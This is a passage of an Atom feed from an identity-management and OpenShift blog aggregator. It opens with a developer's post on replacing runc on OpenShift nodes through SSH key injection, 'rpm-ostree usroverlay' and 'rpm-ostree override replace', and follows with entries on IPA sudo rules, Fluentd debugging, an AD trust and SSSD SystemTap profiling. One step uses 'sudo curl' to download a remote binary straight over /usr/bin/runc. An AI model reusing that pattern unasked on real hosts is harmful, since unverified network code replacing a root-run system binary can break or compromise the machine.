machineconfig.machineconfiguration.openshift.io/ssh-authorized-keys created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the node debug shell, I observed that Machine Config Operator
applied the change after a few seconds. It did not restart the
worker node. My key was added alongside a key defined in some other
&lt;code&gt;MachineConfig&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# cat /var/home/core/.ssh/authorized_keys
ssh-rsa AAAA…jjNV devenv

ssh-rsa AAAA…4OU= root@worker-a&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now I could log in over SSH:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# ssh core@$(hostname)
The authenticity of host 'worker-a (10.0.128.2)' can't be established.
ECDSA key fingerprint is SHA256:LUaZOleqVFunmLCp4/E1naIQ+E5BpmVp0gcsXHGacPE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'worker-a,10.0.128.2' (ECDSA) to the list of known hosts.
Red Hat Enterprise Linux CoreOS 48.84.202106231817-0
  Part of OpenShift 4.8, RHCOS is a Kubernetes native operating system
  managed by the Machine Config Operator (`clusteroperator/machine-config`).

WARNING: Direct SSH access to machines is not recommended; instead,
make configuration changes via `machineconfig` objects:
  https://docs.openshift.com/container-platform/4.8/architecture/architecture-rhcos.html

---
[core@worker-a ~]$&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The user is unconfined and I can see the normal, read-only (&lt;code&gt;ro&lt;/code&gt;)
&lt;code&gt;/usr&lt;/code&gt; mount (but no overlay):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;[core@worker-a ~]$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[core@worker-a ~]$ mount |grep &amp;quot;on /usr&amp;quot;
/dev/sda4 on /usr type xfs (ro,relatime,seclabel,attr2,inode64,logbufs=8,logbsize=32k,prjquota)
overlay on /usr type overlay (rw,relatime,seclabel,lowerdir=usr,upperdir=/var/tmp/ostree-unlock-ovl.KZ4V50/upper,workdir=/var/tmp/ostree-unlock-ovl.KZ4V50/work)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I executed &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; via &lt;code&gt;sudo&lt;/code&gt;. After that, a
read-write (&lt;code&gt;rw&lt;/code&gt;) overlay filesystem is visible:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;[core@worker-a ~]$ sudo rpm-ostree usroverlay
Development mode enabled.  A writable overlayfs is now mounted on /usr.
All changes there will be discarded on reboot.
[core@worker-a ~]$ mount |grep &amp;quot;on /usr&amp;quot;
/dev/sda4 on /usr type xfs (ro,relatime,seclabel,attr2,inode64,logbufs=8,logbsize=32k,prjquota)
overlay on /usr type overlay (rw,relatime,seclabel,lowerdir=usr,upperdir=/var/tmp/ostree-unlock-ovl.TCPM50/upper,workdir=/var/tmp/ostree-unlock-ovl.TCPM50/work)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it is indeed writable. I made a copy of the original &lt;code&gt;runc&lt;/code&gt;
binary, then installed my modified version:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;[core@worker-a ~]$ sudo cp /usr/bin/runc /usr/bin/runc.orig
[core@worker-a ~]$ sudo curl -Ss -o /usr/bin/runc \
    https://ftweedal.fedorapeople.org/runc&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;digression-use-a-buildroot&quot;&gt;Digression: use a buildroot &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#digression-use-a-buildroot&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;runc&lt;/code&gt; executable I installed on the previous step didn’t work.
I had built it on my workstation, against a too-new version of
&lt;em&gt;glibc&lt;/em&gt;. The OpenShift node (which was running RHCOS 4.8, based on
RHEL 8.4) was unable to link &lt;code&gt;runc&lt;/code&gt;. Therefore it could not run
&lt;em&gt;any&lt;/em&gt; container workloads. I was able to SSH in from another node
and reboot, discarding the transient change in the &lt;code&gt;usroverlay&lt;/code&gt; and
restoring the node to a functional state.&lt;/p&gt;
&lt;p&gt;All of this is obvious in hindsight. You have to build the program
for the environment in which it will be executed. In my case, it
was easiest to do this via Brew or Koji. I cloned the dist-git
repository (via the &lt;code&gt;fedpkg&lt;/code&gt; or &lt;code&gt;rhpkg&lt;/code&gt; tool), created patches and
updated the &lt;code&gt;runc.spec&lt;/code&gt; file. Then I built the SRPM (&lt;code&gt;.src.rpm&lt;/code&gt;)
and started a scratch build in Brew. After the build completed I
made the resulting &lt;code&gt;.rpm&lt;/code&gt; publicly available, so that it can be
fetched from the OpenShift cluster.&lt;/p&gt;
&lt;h2 id=&quot;override-replace-via-node-debug-container&quot;&gt;&lt;code&gt;override replace&lt;/code&gt; via node debug container &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#override-replace-via-node-debug-container&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I now have my modified &lt;code&gt;runc&lt;/code&gt; in an RPM package. So I can use
&lt;code&gt;rpm-ostree override replace&lt;/code&gt; to install it. In a debug node on the
host:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# rpm-ostree override replace \
  https://ftweedal.fedorapeople.org/runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64.rpm
Downloading 'https://ftweedal.fedorapeople.org/runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64.rpm'... done!
Checking out tree eb6dd3b... done
No enabled rpm-md repositories.
Importing rpm-md... done
Resolving dependencies... done
Applying 1 override
Processing packages... done
Running pre scripts... done
Running post scripts... done
Running posttrans scripts... done
Writing rpmdb... done
Writing OSTree commit... done
Staging deployment... done
Upgraded:
  runc 1.0.0-97.rhaos4.8.gitcd80260.el8 -&amp;gt; 1.0.0-98.rhaos4.8.gitcd80260.el8
Run &amp;quot;systemctl reboot&amp;quot; to start a reboot&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rpm-ostree&lt;/code&gt; downloaded the package and prepared the updated OS.
Per the advice, the update is not active yet; I need to reboot:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# rpm -q runc
runc-1.0.0-97.rhaos4.8.gitcd80260.el8.x86_64
sh-4.4# systemctl reboot
sh-4.4# exit
sh-4.2# 
Removing debug pod ...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After reboot I started a node debug container and verified that the
modified version of &lt;code&gt;runc&lt;/code&gt; is visible:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc debug node/worker-a
Starting pod/worker-a-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm -q runc
runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the fact that the debug container is working proves that the
modified version of runc isn’t &lt;em&gt;completely&lt;/em&gt; broken! Testing the new
functionality is a topic for a different post, so I’ll leave it at
that.&lt;/p&gt;
&lt;h3 id=&quot;listing-and-resetting-overrides&quot;&gt;Listing and resetting overrides &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#listing-and-resetting-overrides&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rpm-ostree status --booted&lt;/code&gt; lists the current base image and any
overrides that have been applied:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# rpm-ostree status --booted
State: idle
BootedDeployment:
* pivot://quay.io/openshift-release-dev/ocp-v4.0-art-dev@sha256:9a23adde268dc8937ae293594f58fc4039b574210f320ebdac85a50ef40220dd
              CustomOrigin: Managed by machine-config-operator
                   Version: 48.84.202106231817-0 (2021-06-23T18:21:06Z)
      ReplacedBasePackages: runc 1.0.0-97.rhaos4.8.gitcd80260.el8 -&amp;gt; 1.0.0-98.rhaos4.8.gitcd80260.el8&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To reset an override for a specific package, run &lt;code&gt;rpm-ostree override reset $PKG&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# rpm-ostree override reset runc
Staging deployment... done
Freed: 1.1 GB (pkgcache branches: 0)
Downgraded:
  runc 1.0.0-98.rhaos4.8.gitcd80260.el8 -&amp;gt; 1.0.0-97.rhaos4.8.gitcd80260.el8
Run &amp;quot;systemctl reboot&amp;quot; to start a reboot&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To reset &lt;em&gt;all&lt;/em&gt; overrides, execute &lt;code&gt;rpm-ostree reset&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# rpm-ostree reset
Staging deployment... done
Freed: 54.8 MB (pkgcache branches: 0)
Downgraded:
  runc 1.0.0-98.rhaos4.8.gitcd80260.el8 -&amp;gt; 1.0.0-97.rhaos4.8.gitcd80260.el8
Run &amp;quot;systemctl reboot&amp;quot; to start a reboot&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;discussion&quot;&gt;Discussion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#discussion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I achieved my goal of installed a modified &lt;code&gt;runc&lt;/code&gt; executable on an
OpenShift node. There were two approaches:&lt;/p&gt;
&lt;ol type=&quot;1&quot;&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; creates a writable overlay on &lt;code&gt;/usr&lt;/code&gt;.
The overlay disappears at reboot, which is fine for my testing
needs. This technique doesn’t work from a node debug container;
you have to log in over SSH, which requires additional steps to
add SSH keys.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;rpm-ostree override replace&lt;/code&gt; overrides a particular package RPM.
The change takes effect after reboot and is persistent. It is
easy to rollback or reset the override. This technique does not
require SSH login; it works fine in a node debug container.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because I needed to build my package in a RHEL 8.4 / RHCOS 4.8
buildroot, I used Brew. The build artifacts are RPMs. Therefore
&lt;code&gt;rpm-ostree override replace&lt;/code&gt; is the most convenient option for me.&lt;/p&gt;
&lt;p&gt;Both options apply changes &lt;em&gt;per-node&lt;/em&gt;. After confirming with CoreOS
developers, there is currently no way to roll out a package override
cluster-wide or to a defined group of nodes (e.g. to
&lt;code&gt;MachineConfigPool/worker&lt;/code&gt; via a &lt;code&gt;MachineConfig&lt;/code&gt;). So for now, you
either have to apply changes/overrides on specific nodes, or build
the whole &lt;code&gt;machine-os-content&lt;/code&gt; image and upgrade the cluster. As a
container runtime developer, my sweet spot is in a gulf between the
existing options. I can tolerate this mild annoyance on the
assumption that it discourages messing around in production
environments.&lt;/p&gt;
&lt;p&gt;In the meantime, now that I have worked out how to install my
modified &lt;code&gt;runc&lt;/code&gt; onto worker nodes, I will get on with testing it!&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">IPA sudo rules for local users</title>
		<link href=""/>
		<id>http://jhrozek.wordpress.com/?p=415</id>
		<updated>2018-03-26T10:33:40+00:00</updated>
		<content type="html">Central identity management solutions like IPA offer a very nice capability &amp;#8211; in addition to storing users and groups on the server, also certain kinds of policies can be defined in one place and used by all the machines in the domain. Sudo rules are one of the most common policies that administrators define for &amp;#8230; &lt;a href=&quot;https://jhrozek.wordpress.com/2018/03/26/ipa-sudo-rules-for-local-users/&quot; class=&quot;more-link&quot;&gt;Continue reading &lt;span class=&quot;screen-reader-text&quot;&gt;IPA sudo rules for local&amp;#160;users&lt;/span&gt; &lt;span class=&quot;meta-nav&quot;&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</content>
		<author>
			<name>Jakub Hrozek</name>
			<uri>https://jhrozek.wordpress.com</uri>
		</author>
		<source>
			<title type="html">freeipa – jhrozek</title>
			<link rel="self" href="https://jhrozek.wordpress.com/tag/freeipa,sssd,ldap,idm/feed/"/>
			<id>https://jhrozek.wordpress.com/tag/freeipa,sssd,ldap,idm/feed/</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">How to debug &quot;undefined method for nil:NilClass&quot; in OpenShift Aggregated Logging</title>
		<link href="https://richmegginson.livejournal.com/29741.html"/>
		<id>https://richmegginson.livejournal.com/29741.html</id>
		<updated>2017-09-28T20:07:25+00:00</updated>
		<content type="html">&lt;p&gt;In OpenShift Aggregated Logging &lt;a href=&quot;https://github.com/openshift/origin-aggregated-logging&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;https://github.com/openshift/origin-aggregated-logging&lt;/a&gt; the Fluentd pipeline tries very hard to ensure that the data is correct, because it depends on having clean data in the output section in order to construct the index names for Elasticsearch. If the fields and values are not correct, then the index name construction will fail with an unhelpful error like this:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;2017-09-28 13:22:22 -0400 [warn]: temporarily failed to flush the buffer. next_retry=2017-09-28 13:22:23 -0400 error_class=&quot;NoMethodError&quot;
error=&quot;undefined method `[]' for nil:NilClass&quot; plugin_id=&quot;object:1c0bd1c&quot;
2017-09-28 13:22:22 -0400 [warn]: /opt/app-root/src/gems/fluent-plugin-elasticsearch-1.9.5.1/lib/fluent/plugin/out_elasticsearch_dynamic.rb:240:in `eval'
2017-09-28 13:22:22 -0400 [warn]: /opt/app-root/src/gems/fluent-plugin-elasticsearch-1.9.5.1/lib/fluent/plugin/out_elasticsearch_dynamic.rb:240:in `eval'
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;There is no context about what field might be missing, what tag is matching, or even which plugin it is, the operations output or the applications output (although you do get the plugin_id, which could be used to look up the actual plugin information, if the Fluentd monitoring is enabled).&lt;br /&gt;One solution is to just edit the &lt;tt&gt;logging-fluentd&lt;/tt&gt; ConfigMap, and add a &lt;tt&gt;stdout&lt;/tt&gt; filter in the right place:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;## matches
          &amp;lt;filter **&amp;gt;
            @type stdout
          &amp;lt;/filter&amp;gt;
          @include configs.d/openshift/output-pre-*.conf
          ...
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;and dump the time, tag, and record just before the outputs.  The problem with this is that it will cause a feedback loop, since Fluentd is reading from its own pod log.  The solution to this is to also throw away Fluentd pod logs.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;## filters
          @include configs.d/openshift/filter-pre-*.conf
          @include configs.d/openshift/filter-retag-journal.conf
          &amp;lt;match kubernetes.journal.container.fluentd kubernetes.var.log.containers.fluentd**&amp;gt;
            @type null
          &amp;lt;/match&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This must come after the &lt;tt&gt;filter-retag-journal.conf&lt;/tt&gt; which identifies and tags Fluentd pod log records.  Then restart Fluentd (oc pod delete $fluentd_pod, oc label node, etc.).  The Fluentd pod log will now contain data like this:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;2017-09-28 13:44:47 -0400 output_tag: {&quot;type&quot;:&quot;response&quot;,&quot;@timestamp&quot;:&quot;2017-09-28T17:44:19.524989+00:00&quot;,&quot;pid&quot;:8,&quot;method&quot;:&quot;head&quot;,&quot;statusCode&quot;:200,
&quot;req&quot;:{&quot;url&quot;:&quot;/&quot;,&quot;method&quot;:&quot;head&quot;,&quot;headers&quot;:{&quot;user-agent&quot;:&quot;curl/7.29.0&quot;,&quot;host&quot;:&quot;localhost:5601&quot;,&quot;accept&quot;:&quot;*/*&quot;},&quot;remoteAddress&quot;:&quot;127.0.0.1&quot;,&quot;userAgent&quot;:&quot;127.0.0.1&quot;},
&quot;res&quot;:{&quot;statusCode&quot;:200,&quot;responseTime&quot;:2,&quot;contentLength&quot;:9},
&quot;message&quot;:&quot;HEAD / 200 2ms - 9.0B&quot;,
&quot;docker&quot;:{&quot;container_id&quot;:&quot;e1cc1b22d04683645b00de53c0891e284c492358fd2830142f4523ad29eec060&quot;},
&quot;kubernetes&quot;:{&quot;container_name&quot;:&quot;kibana&quot;,&quot;namespace_name&quot;:&quot;logging&quot;,&quot;pod_name&quot;:&quot;logging-kibana-1-t9tvv&quot;,
&quot;pod_id&quot;:&quot;358622d8-a467-11e7-ab9a-0e43285e8fce&quot;,&quot;labels&quot;:{&quot;component&quot;:&quot;kibana&quot;,&quot;deployment&quot;:&quot;logging-kibana-1&quot;,
&quot;deploymentconfig&quot;:&quot;logging-kibana&quot;,&quot;logging-infra&quot;:&quot;kibana&quot;,&quot;provider&quot;:&quot;openshift&quot;},
&quot;host&quot;:&quot;ip-172-18-0-133.ec2.internal&quot;,&quot;master_url&quot;:&quot;https://kubernetes.default.svc.cluster.local&quot;,
&quot;namespace_id&quot;:&quot;9dbd679c-a466-11e7-ab9a-0e43285e8fce&quot;},...
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now, if you see a record that is missing &lt;tt&gt;@timestamp&lt;/tt&gt;, or a record from a pod that is missing &lt;tt&gt;kubernetes.namespace_name&lt;/tt&gt; or &lt;tt&gt;kubernetes.namespace_id&lt;/tt&gt;, you know that the exception is caused by one of these missing fields.&lt;/p&gt;</content>
		<author>
			<name>Rich Megginson</name>
			<uri>https://richmegginson.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">Nunc Fluens</title>
			<subtitle type="html">Nunc Fluens - LiveJournal.com</subtitle>
			<link rel="self" href="https://richmegginson.livejournal.com/data/rss/"/>
			<id>https://richmegginson.livejournal.com/data/rss/</id>
			<updated>2026-05-10T07:28:33+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Deploy Windows 2016 AD and Fedora 25 IPA with a One-way Trust</title>
		<link href=""/>
		<id>http://strikerttd.wordpress.com/?p=197</id>
		<updated>2017-05-30T05:38:00+00:00</updated>
		<content type="html">Introduction For the purpose of this post, the two machines I used for these instructions are VMs running atop a Fedora 25 hypervisor which was configured as outlined here: Configuring Fedora 25 as a Hypervisor using Virtual Machine Manager Note: Make sure that when deploying IPA and AD that you do so on separate domains.  Otherwise, &amp;#8230; &lt;a href=&quot;https://strikerttd.wordpress.com/2017/05/30/deploy-windows-2016-ad-and-fedora-25-ipa-with-a-one-way-trust/&quot; class=&quot;more-link&quot;&gt;Continue reading&lt;span class=&quot;screen-reader-text&quot;&gt; &quot;Deploy Windows 2016 AD and Fedora 25 IPA with a One-way&amp;#160;Trust&quot;&lt;/span&gt;&lt;/a&gt;</content>
		<author>
			<name>Striker Leggette</name>
			<uri>https://strikerttd.wordpress.com</uri>
		</author>
		<source>
			<title type="html">freeipa – Striker Leggette</title>
			<subtitle type="html">Random Things</subtitle>
			<link rel="self" href="https://strikerttd.wordpress.com/tag/freeipa,sssd,ldap,idm/feed/"/>
			<id>https://strikerttd.wordpress.com/tag/freeipa,sssd,ldap,idm/feed/</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Measuring SSSD performance with SystemTap</title>
		<link href="http://justin-stephenson.blogspot.com/2017/05/measuring-sssd-performance-with.html"/>
		<id>tag:blogger.com,1999:blog-8317082414319754746.post-4779932653839170767</id>
		<updated>2017-05-05T16:39:00+00:00</updated>
		<content type="html">&lt;p&gt;This post is intended to provide information about finding SSSD bottlenecks with SystemTap.&lt;/p&gt;
&lt;p&gt;One of the most common complaints with SSSD is slowness during login or NSS commands such as ‘getent’ or ‘id’ especially in large LDAP/Active Directory environments. Log analysis alone can be difficult to track down the source of the delay, especially with certain configurations(Indirect AD Integration) where there is a significant number of backend operations that occur during login.&lt;/p&gt;
&lt;p&gt;In SSSD 1.14, performance enhancements were made to optimize cache write operations decreasing overall time spent updating the filesystem cache. These bottlenecks were discovered by developers based on userspace probing in certain areas of the SSSD code with SystemTap.&lt;/p&gt;
&lt;p&gt;Below are some steps on getting started with SystemTap and SSSD, in this example we will use recent additions of High-Level Data Provider request probes.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;First, install the necessary packages mentioned here: &lt;a href=&quot;https://www.sourceware.org/systemtap/SystemTap_Beginners_Guide/using-systemtap.html&quot;&gt;Installation and Setup&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is not required to install &lt;strong&gt;kernel-debuginfo&lt;/strong&gt; or &lt;strong&gt;sssd-debuginfo&lt;/strong&gt; to run these userspace systemtap scripts.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can now check if the probe markers are available with:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# stap -L 'process(&quot;/usr/libexec/sssd/sssd_be&quot;).mark(&quot;*&quot;)'&lt;/span&gt;
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/libexec/sssd/sssd_be&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;dp_req_done&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/libexec/sssd/sssd_be&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;dp_req_send&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long

&lt;span class=&quot;hljs-comment&quot;&gt;# stap -L 'process(&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;).mark(&quot;*&quot;)' | head&lt;/span&gt;
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_acct_req_recv&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg4&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_acct_req_send&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg4&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_deref_search_recv&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_deref_search_send&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_get_generic_ext_recv&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_get_generic_ext_send&quot;&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;:long &lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;:long
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_nested_group_check_cache_post&quot;&lt;/span&gt;)
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_nested_group_check_cache_pre&quot;&lt;/span&gt;)
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_nested_group_deref_process_post&quot;&lt;/span&gt;)
process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_nested_group_deref_process_pre&quot;&lt;/span&gt;)
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;The existing SystemTap scripts are located in &lt;em&gt;/usr/share/sssd/systemtap&lt;/em&gt;. The &lt;em&gt;id_perf.stp&lt;/em&gt; can be used to measure performance specifically with the ‘id’ command, while the &lt;em&gt;nested_group_perf.stp&lt;/em&gt; generates metrics and useful information associated with nested group processing code.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# ll /usr/share/sssd/systemtap/&lt;/span&gt;
-rw-r--r--. &lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;hljs-number&quot;&gt;2038&lt;/span&gt; May  &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;18&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;16&lt;/span&gt; dp_request.stp
-rw-r--r--. &lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;hljs-number&quot;&gt;3854&lt;/span&gt; May  &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;56&lt;/span&gt; id_perf.stp
-rw-r--r--. &lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;hljs-number&quot;&gt;8613&lt;/span&gt; May  &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;14&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;44&lt;/span&gt; nested_group_perf.stp
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Running the &lt;em&gt;dp_request.stp&lt;/em&gt; script will track Data Provider requests and provide information about the request which took the most time to complete.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# vim /usr/share/sssd/systemtap/dp_request.stp &lt;/span&gt;
/* Start Run with:
 *   stap -v dp_request.stp
 *
 * Then reproduce slow login or id/getent &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; another terminal.
 * Ctrl-C running stap once login completes.

&lt;span class=&quot;hljs-comment&quot;&gt;# stap -v /usr/share/sssd/systemtap/dp_request.stp &lt;/span&gt;
